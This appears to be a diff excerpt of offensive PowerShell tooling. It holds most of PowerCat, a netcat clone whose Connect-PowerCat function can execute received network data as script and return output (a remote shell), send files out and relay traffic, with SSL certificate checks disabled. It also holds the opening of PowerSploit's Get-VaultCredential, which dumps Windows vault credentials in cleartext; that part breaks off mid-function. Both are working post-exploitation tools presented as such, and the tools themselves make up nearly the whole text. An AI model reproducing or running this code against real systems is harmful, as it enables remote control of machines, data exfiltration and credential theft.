}
else { # Client
$PipeClient = New-Object IO.Pipes.NamedPipeClientStream($ServerIp, $PipeName, [IO.Pipes.PipeDirection]::InOut, [IO.Pipes.PipeOptions]::Asynchronous)
try { $PipeClient.Connect(($Timeout * 1000)) }
catch {
Write-Warning "Pipe client connection failed. $($_.Exception.Message)."
$PipeClient.Dispose()
return
}
Write-Verbose "Connected to $ServerIp`:$PipeName."
$Buffer = New-Object Byte[] $BufferSize
$Properties = @{
Pipe = $PipeClient
Buffer = $Buffer
Read = $PipeClient.BeginRead($Buffer, 0, $Buffer.Length, $null, $null)
}
New-Object psobject -Property $Properties
}
}
function New-TcpStream {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
[CmdletBinding(DefaultParameterSetName = 'Client')]
Param (
[Parameter(Position = 0, ParameterSetName = 'Client')]
[Net.IPAddress]$ServerIp,
[Parameter(Position = 0, ParameterSetName = 'Listener')]
[Switch]$Listener,
[Parameter(Position = 1)]
[Int]$Port,
[Parameter(Position = 2)]
[String]$SslCn,
[Parameter(Position = 3)]
[Int]$Timeout = 60
)
if ($Listener.IsPresent) {
$TcpListener = New-Object Net.Sockets.TcpListener $Port
$TcpListener.Start()
$ConnectResult = $TcpListener.BeginAcceptTcpClient($null, $null)
Write-Verbose "Listening on 0.0.0.0:$Port [tcp]"
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
[console]::TreatControlCAsInput = $true
do {
if ([console]::KeyAvailable) {
$Key = [console]::ReadKey($true)
if ($Key.Key -eq [Consolekey]::Escape) {
Write-Warning 'Caught escape sequence, stopping TCP setup.'
[console]::TreatControlCAsInput = $false
$TcpListener.Stop()
$Stopwatch.Stop()
return
}
}
if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) {
Write-Warning 'Timeout exceeded, stopping TCP setup.'
#[console]::TreatControlCAsInput = $false
$TcpListener.Stop()
$Stopwatch.Stop()
return
}
} until ($ConnectResult.IsCompleted)
[console]::TreatControlCAsInput = $false
$Stopwatch.Stop()
$TcpClient = $TcpListener.EndAcceptTcpClient($ConnectResult)
$TcpListener.Stop()
if (!$TcpClient) { Write-Warning "Connection to $($ServerIp.IPAddressToString):$Port [tcp] failed." ; return }
Write-Verbose "Connection from $($TcpClient.Client.RemoteEndPoint.ToString()) accepted."
$TcpStream = $TcpClient.GetStream()
$Buffer = New-Object Byte[] $TcpClient.ReceiveBufferSize
if ($PSBoundParameters.SslCn) {
$TcpStream = New-Object System.Net.Security.SslStream($TcpStream, $false)
$Certificate = New-X509Certificate $SslCn
$TcpStream.AuthenticateAsServer($Certificate)
Write-Verbose "SSL Encrypted: $($TcpStream.IsEncrypted)"
}
$Properties = @{
Socket = $TcpClient.Client
TcpStream = $TcpStream
Buffer = $Buffer
Read = $TcpStream.BeginRead($Buffer, 0, $Buffer.Length, $null, $null)
}
New-Object psobject -Property $Properties
}
else { # Client
$TcpClient = New-Object Net.Sockets.TcpClient
$ConnectResult = $TcpClient.BeginConnect($ServerIp, $Port, $null, $null)
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
[console]::TreatControlCAsInput = $true
do {
if ([console]::KeyAvailable) {
$Key = [console]::ReadKey($true)
if ($Key.Key -eq [Consolekey]::Escape) {
Write-Warning 'Caught escape sequence, stopping TCP setup.'
[console]::TreatControlCAsInput = $false
if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() }
else { $TcpClient.Dispose() }
$Stopwatch.Stop()
return
}
}
if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) {
Write-Warning 'Timeout exceeded, stopping TCP setup.'
[console]::TreatControlCAsInput = $false
if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() }
else { $TcpClient.Dispose() }
$Stopwatch.Stop()
return
}
} until ($ConnectResult.IsCompleted)
[console]::TreatControlCAsInput = $false
$Stopwatch.Stop()
try { $TcpClient.EndConnect($ConnectResult) }
catch {
Write-Warning "Connection to $($ServerIp.IPAddressToString):$Port [tcp] failed. $($_.Exception.Message)"
if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() }
else { $TcpClient.Dispose() }
return
}
Write-Verbose "Connection to $($ServerIp.IPAddressToString):$Port [tcp] succeeded!"
$TcpStream = $TcpClient.GetStream()
$Buffer = New-Object Byte[] $TcpClient.ReceiveBufferSize
if ($PSBoundParameters.SslCn) {
$TcpStream = New-Object System.Net.Security.SslStream($TcpStream, $false, { param($Sender, $Cert, $Chain, $Policy) return $true })
$TcpStream.AuthenticateAsClient($SslCn)
Write-Verbose "SSL Encrypted: $($TcpStream.IsEncrypted)"
}
$Properties = @{
Socket = $TcpClient.Client
TcpStream = $TcpStream
Buffer = $Buffer
Read = $TcpStream.BeginRead($Buffer, 0, $Buffer.Length, $null, $null)
}
New-Object psobject -Property $Properties
}
}
function New-UdpStream {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
[CmdletBinding(DefaultParameterSetName = 'Client')]
Param (
[Parameter(Position = 0, ParameterSetName = 'Client')]
[Net.IPAddress]$ServerIp,
[Parameter(Position = 0, ParameterSetName = 'Listener')]
[Switch]$Listener,
[Parameter(Position = 1)]
[Int]$Port,
[Parameter()]
[Int]$BufferSize = 65536,
[Parameter()]
[Int]$Timeout = 60
)
if ($Listener.IsPresent) {
$SocketDestinationBuffer = New-Object Byte[] 65536
$RemoteEndPoint = New-Object Net.IPEndPoint @([Net.IPAddress]::Any, $null)
$UdpClient = New-Object Net.Sockets.UDPClient $Port
$PacketInfo = New-Object Net.Sockets.IPPacketInformation
Write-Verbose "Listening on 0.0.0.0:$Port [udp]"
$ConnectResult = $UdpClient.Client.BeginReceiveMessageFrom($SocketDestinationBuffer, 0, 65536, [Net.Sockets.SocketFlags]::None, [ref]$RemoteEndPoint, $null, $null)
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
[console]::TreatControlCAsInput = $true
do {
if ([console]::KeyAvailable) {
$Key = [console]::ReadKey($true)
if ($Key.Key -eq [Consolekey]::Escape) {
Write-Warning "Caught escape sequence, stopping UDP Setup."
[console]::TreatControlCAsInput = $false
if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() }
else { $UdpClient.Dispose() }
$Stopwatch.Stop()
return
}
}
if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) {
Write-Warning "Timeout exceeded, stopping UDP Setup."
[console]::TreatControlCAsInput = $false
if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() }
else { $UdpClient.Dispose() }
$Stopwatch.Stop()
return
}
} until ($ConnectResult.IsCompleted)
[console]::TreatControlCAsInput = $false
$Stopwatch.Stop()
$SocketFlags = 0
$SocketBytesRead = $UdpClient.Client.EndReceiveMessageFrom($ConnectResult, [ref]$SocketFlags, [ref]$RemoteEndPoint, [ref]$PacketInfo)
$UdpClient.Connect($RemoteEndPoint)
if ($SocketBytesRead.Count) { $InitialBytes = $SocketDestinationBuffer[0..($SocketBytesRead - 1)] }
Write-Verbose "Connection from $($RemoteEndPoint.ToString()) [udp] accepted."
$Properties = @{
UdpClient = $UdpClient
Socket = $UdpClient.Client
Read = $UdpClient.BeginReceive($null, $null)
}
$UdpStream = New-Object psobject -Property $Properties
}
else { # Client
$RemoteEndPoint = New-Object Net.IPEndPoint @($ServerIp, $Port)
$UdpClient = New-Object Net.Sockets.UDPClient
$UdpClient.Connect($RemoteEndPoint)
Write-Verbose "Sending UDP data to $($RemoteEndPoint.ToString()).`nMake sure to send some data to the server!"
$Properties = @{
UdpClient = $UdpClient
Socket = $UdpClient.Client
Read = $UdpClient.BeginReceive($null, $null)
}
$UdpStream = New-Object psobject -Property $Properties
}
return $InitialBytes, $UdpStream
}
function Write-NetworkStream {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
Param (
[Parameter(Position = 0)]
[String]$Mode,
[Parameter(Position = 1)]
[Object]$Stream,
[Parameter(Position = 2)]
[Byte[]]$Bytes
)
switch ($Mode) {
'Smb' {
try { $Stream.Pipe.Write($Bytes, 0, $Bytes.Length) }
catch { Write-Warning "Failed to send Smb data. $($_.Exception.Message)" }
continue
}
'Tcp' {
try { $Stream.TcpStream.Write($Bytes, 0, $Bytes.Length) }
catch { Write-Warning "Failed to write to Tcp stream. $($_.Exception.Message)." }
continue
}
'Udp' {
try { $BytesSent = $Stream.UdpClient.Send($Bytes, $Bytes.Length) }
catch { Write-Warning "Failed to send Udp data to $($Stream.Socket.RemoteEndPoint.ToString()). $($_.Exception.Message)." }
}
}
}
function Read-NetworkStream {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
Param (
[Parameter(Position = 0)]
[String]$Mode,
[Parameter(Position = 1)]
[Object]$Stream
)
switch ($Mode) {
'Smb' {
try { $BytesRead = $Stream.Pipe.EndRead($Stream.Read) }
catch { Write-Warning "Failed to read Smb stream. $($_.Exception.Message)." ; continue }
if ($BytesRead) {
$BytesReceived = $Stream.Buffer[0..($BytesRead - 1)]
[Array]::Clear($Stream.Buffer, 0, $BytesRead)
}
$Stream.Read = $Stream.Pipe.BeginRead($Stream.Buffer, 0, $Stream.Buffer.Length, $null, $null)
if ($BytesRead) { return $BytesReceived }
else { Write-Verbose 'Smb stream closed by remote end.' ; continue }
}
'Tcp' {
try { $BytesRead = $Stream.TcpStream.EndRead($Stream.Read) }
catch { Write-Warning "Failed to read Tcp stream. $($_.Exception.Message)." ; continue }
if ($BytesRead) {
$BytesReceived = $Stream.Buffer[0..($BytesRead - 1)]
[Array]::Clear($Stream.Buffer, 0, $BytesRead)
}
$Stream.Read = $Stream.TcpStream.BeginRead($Stream.Buffer, 0, $Stream.Buffer.Length, $null, $null)
if ($BytesRead) { return $BytesReceived }
else { Write-Verbose 'Tcp stream closed by remote end.' ; continue }
}
'Udp' {
try { $Bytes = $Stream.UdpClient.EndReceive($Stream.Read, [ref]$Stream.Socket.RemoteEndpoint) }
catch { Write-Warning "Failed to receive Udp data from $($Stream.Socket.RemoteEndpoint.ToString()). $($_.Exception.Message)." ; continue }
$Stream.Read = $Stream.UdpClient.BeginReceive($null, $null)
return $Bytes
}
}
}
function Close-NetworkStream {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
Param (
[Parameter(Position = 0)]
[String]$Mode,
[Parameter(Position = 1)]
[Object]$Stream
)
switch ($Mode) {
'Smb' {
try { $Stream.Pipe.Dispose() }
catch { Write-Verbose "Failed to close Smb stream. $($_.Exception.Message)." }
continue
}
'Tcp' {
try {
if ($PSVersionTable.CLRVersion.Major -lt 4) { $Stream.Socket.Close() ; $Stream.TcpStream.Close() }
else { $Stream.Socket.Dispose() ; $Stream.TcpStream.Dispose() }
}
catch { Write-Verbose "Failed to close Tcp stream. $($_.Exception.Message)." }
continue
}
'Udp' {
try {
if ($PSVersionTable.CLRVersion.Major -lt 4) { $Stream.Socket.Close() ; $Stream.UdpClient.Close() }
else { $Stream.Socket.Dispose() ; $Stream.UdpClient.Dispose() }
}
catch { Write-Verbose "Failed to close Udp stream. $($_.Exception.Message)." }
}
}
}
function Connect-PowerCat {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
[CmdletBinding(DefaultParameterSetName = 'Console')]
Param (
[Parameter(Position = 0)]
[Alias('m')]
[ValidateSet('Smb', 'Tcp', 'Udp')]
[String]$Mode = 'Tcp',
[Parameter(Position = 1, Mandatory = $true)]
[String]$RemoteIp,
[Parameter(ParameterSetName = 'Execute')]
[Alias('e')]
[Switch]$Execute,
[Parameter(ParameterSetName = 'Relay')]
[Alias('r')]
[String]$Relay,
[Parameter(ParameterSetName = 'ReceiveFile')]
[Alias('rf')]
[String]$ReceiveFile,
[Parameter(ParameterSetName = 'SendFile')]
[Alias('sf')]
[String]$SendFile,
[Parameter(ParameterSetName = 'Input')]
[Alias('i')]
[String]$Input,
[Parameter()]
[Alias('d')]
[Switch]$Disconnect,
[Parameter()]
[Alias('t')]
[Int]$Timeout = 60,
[Parameter()]
[ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')]
[String]$Encoding = 'Ascii'
)
DynamicParam {
$ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary
if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary }
else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary }
if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary }
if ($Execute.IsPresent) {
New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary
New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary
}
return $ParameterDictionary
}
Begin {
if ($RemoteIp -notmatch "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") {
Write-Warning "$RemoteIp is not a valid IPv4 address."
return
}
$ServerIp = [Net.IPAddress]::Parse($RemoteIp)
switch ($Mode) {
'Smb' {
try { $ClientStream = New-SmbStream $RemoteIp $ParameterDictionary.PipeName.Value $Timeout }
catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return }
continue
}
'Tcp' {
try { $ClientStream = New-TcpStream $ServerIp $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout }
catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return }
continue
}
'Udp' {
try { $InitialBytes, $ClientStream = New-UdpStream $ServerIp $ParameterDictionary.Port.Value -TimeOut $Timeout }
catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return }
}
}
switch ($Encoding) {
'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue }
'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue }
'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue }
'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue }
'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue }
}
if ($PSCmdlet.ParameterSetName -eq 'Input') { Write-NetworkStream $Mode $ClientStream $EncodingType.GetBytes($Input) }
elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) }
elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') {
Write-Verbose "Attempting to send $SendFile"
if ((Test-Path $SendFile)) {
try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) }
catch { Write-Warning $_.Exception.Message }
if ($BytesLeft = $FileStream.Length) { # goto cleanup
$FileOffset = 0
if ($BytesLeft -gt 4608) { # Max packet size for Ncat
$BytesToSend = New-Object Byte[] 4608
while ($BytesLeft -gt 4608) {
[void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
[void]$FileStream.Read($BytesToSend, 0, 4608)
$FileOffset += 4608
$BytesLeft -= 4608
Write-NetworkStream $Mode $ClientStream $BytesToSend
}
# Send last packet
$BytesToSend = New-Object Byte[] $BytesLeft
[void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
[void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
Write-NetworkStream $Mode $ClientStream $BytesToSend
}
else { # Only need to send one packet
$BytesToSend = New-Object Byte[] $BytesLeft
[void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
[void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
Write-NetworkStream $Mode $ClientStream $BytesToSend
}
$FileStream.Flush()
$FileStream.Dispose()
}
if ($Mode -eq 'Smb') { $ClientStream.Pipe.WaitForPipeDrain() }
if ($Mode -eq 'Tcp') { sleep 1 }
}
else { Write-Warning "$SendFile does not exist." }
}
elseif ($PSCmdlet.ParameterSetName -eq 'Relay') {
Write-Verbose "Setting up relay stream..."
$RelayConfig = $Relay.Split(':')
$RelayMode = $RelayConfig[0].ToLower()
if ($RelayConfig.Count -eq 2) { # Listener
switch ($RelayMode) {
'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue }
'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue }
'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue }
default { Write-Warning 'Invalid relay mode specified.' ; return }
}
}
elseif ($RelayConfig.Count -eq 3) { # Client
if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") {
$ServerIp = [Net.IPAddress]::Parse($RelayConfig[1])
switch ($RelayMode) {
'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue }
'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue }
'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue }
default { Write-Warning 'Invalid relay mode specified.' ; return }
}
}
else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." }
}
else { Write-Warning 'Invalid relay format.' }
}
elseif ($PSCmdlet.ParameterSetName -eq 'Execute') {
if ($ClientStream) {
$BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n")
if ($ParameterDictionary.ScriptBlock.Value) {
$ScriptBlock = $ParameterDictionary.ScriptBlock.Value
$Global:Error.Clear()
$BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String))
if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } }
}
$BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
Write-NetworkStream $Mode $ClientStream $BytesToSend
$ScriptBlock = $null
$BytesToSend = $null
}
}
}
Process {
[console]::TreatControlCAsInput = $true
while ($true) {
if ($PSCmdlet.ParameterSetName -eq 'SendFile' -or $Disconnect.IsPresent) { break } # Skip to Cleanup
# Catch Esc / Read-Host
if ([console]::KeyAvailable) {
$Key = [console]::ReadKey()
if ($Key.Key -eq [Consolekey]::Escape) {
Write-Verbose 'Caught escape sequence, stopping PowerCat.'
break
}
if ($PSCmdlet.ParameterSetName -eq 'Console') {
$BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n")
Write-NetworkStream $Mode $ClientStream $BytesToSend
}
}
# Get data from the network
if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null }
elseif ($ClientStream.Socket.Connected -or $ClientStream.Pipe.IsConnected) {
if ($ClientStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ClientStream }
else { Start-Sleep -Milliseconds 1 ; continue }
}
else { Write-Verbose "$Mode connection broken, exiting." ; break }
# Redirect received bytes
if ($PSCmdlet.ParameterSetName -eq 'Execute') {
try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) }
catch { break } # network stream closed
$Global:Error.Clear()
$BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String))
foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) }
$BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
Write-NetworkStream $Mode $ClientStream $BytesToSend
$BytesToSend = $null
$ScriptBlock = $null
continue
}
elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue }
elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') {
try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) }
catch { break } # EOF reached
continue
}
else { # Console
try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") }
catch { break } # network stream closed
}
}
}
End { # Cleanup
Write-Host "`n"
if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() }
try { Close-NetworkStream $Mode $ClientStream }
catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" }
if ($PSCmdlet.ParameterSetName -eq 'Relay') {
try { Close-NetworkStream $RelayMode $RelayStream }
catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" }
}
[console]::TreatControlCAsInput = $false
}
}

View File

@ -0,0 +1,401 @@
function Get-VaultCredential
{
<#
.SYNOPSIS
Displays Windows vault credential objects including cleartext web credentials.
PowerSploit Function: Get-VaultCredential
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-VaultCredential enumerates and displays all credentials stored in the Windows
vault. Web credentials, specifically are displayed in cleartext. This script was
inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt
.EXAMPLE
Get-VaultCredential
.NOTES
Only web credentials can be displayed in cleartext.
#>
[CmdletBinding()] Param()
$OSVersion = [Environment]::OSVersion.Version
$OSMajor = $OSVersion.Major
$OSMinor = $OSVersion.Minor
#region P/Invoke declarations for vaultcli.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False)
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32])
$null = $EnumBuilder.DefineLiteral('Undefined', -1)
$null = $EnumBuilder.DefineLiteral('Boolean', 0)
$null = $EnumBuilder.DefineLiteral('Short', 1)
$null = $EnumBuilder.DefineLiteral('UnsignedShort', 2)
$null = $EnumBuilder.DefineLiteral('Int', 3)
$null = $EnumBuilder.DefineLiteral('UnsignedInt', 4)
$null = $EnumBuilder.DefineLiteral('Double', 5)
$null = $EnumBuilder.DefineLiteral('Guid', 6)
$null = $EnumBuilder.DefineLiteral('String', 7)
$null = $EnumBuilder.DefineLiteral('ByteArray', 8)
$null = $EnumBuilder.DefineLiteral('TimeStamp', 9)
$null = $EnumBuilder.DefineLiteral('ProtectedArray', 10)
$null = $EnumBuilder.DefineLiteral('Attribute', 11)
$null = $EnumBuilder.DefineLiteral('Sid', 12)
$null = $EnumBuilder.DefineLiteral('Last', 13)
$VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType()
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32])
$null = $EnumBuilder.DefineLiteral('Illegal', 0)
$null = $EnumBuilder.DefineLiteral('Resource', 1)
$null = $EnumBuilder.DefineLiteral('Identity', 2)
$null = $EnumBuilder.DefineLiteral('Authenticator', 3)
$null = $EnumBuilder.DefineLiteral('Tag', 4)
$null = $EnumBuilder.DefineLiteral('PackageSid', 5)
$null = $EnumBuilder.DefineLiteral('AppStart', 100)
$null = $EnumBuilder.DefineLiteral('AppEnd', 10000)
$VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType()
$LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind])
$CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet')
$StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor,
@([Runtime.InteropServices.LayoutKind]::Explicit),
$CharsetField,
@([Runtime.InteropServices.CharSet]::Ansi))
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4)
$null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public')
$null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
{
$null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
}
$null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public')
$null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public')
$null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public')
$null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public')
$VAULT_ITEM = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes)
$TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute)
$null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0)
$null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8)
$VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Guid].MakeByRefType(),
[UInt32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Int32],
[Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Int32],
[Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Guid].MakeByRefType(),
[IntPtr],
[IntPtr],
[IntPtr],
[IntPtr],
[Int32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
}
else
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Guid].MakeByRefType(),
[IntPtr],
[IntPtr],
[IntPtr],
[Int32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
}
$Vaultcli = $TypeBuilder.CreateType()
#endregion
# Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct.
function local:Get-VaultElementValue
{
Param (
[ValidateScript({$_ -ne [IntPtr]::Zero})]
[IntPtr]
$VaultElementPtr
)
$PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT)
$ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16)
switch ($PartialElement.Type)
{
$VAULT_ELEMENT_TYPE::String {
$StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
[Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr)
}
$VAULT_ELEMENT_TYPE::Boolean {
[Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Short {
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::UnsignedShort {
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Int {
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::UnsignedInt {
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Double {
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double])
}
$VAULT_ELEMENT_TYPE::Guid {
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid])
}
$VAULT_ELEMENT_TYPE::Sid {
$SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
